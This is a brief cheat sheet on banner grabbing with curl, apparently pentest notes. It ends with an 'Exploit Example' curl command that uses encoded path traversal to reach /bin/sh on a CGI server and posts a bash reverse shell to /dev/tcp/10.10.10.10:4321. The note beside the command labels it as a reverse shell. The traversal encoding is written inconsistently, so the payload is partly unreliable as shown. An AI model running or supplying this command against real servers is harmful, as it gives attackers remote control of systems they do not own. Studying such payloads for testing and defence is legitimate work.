Banner Grabbing / Web Server Headers

Basic Banner Grabbing:

curl -IL http://{url}
  • -I: Fetches the headers only.
  • -L: Follows redirects (if any).

Custom Headers:

curl "http://{url}" -H "{header parameters}"
  • -H: Adds a custom header to the request.

Exploit Example:

curl 'http://10.10.10.10/cgi-bin/.32%65/.32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/10.10.10.10/4321 0>&1'
  • --data: Sends data in a POST request.
  • bash -i >& /dev/tcp/10.10.10.10/4321 0>&1 : A reverse shell command.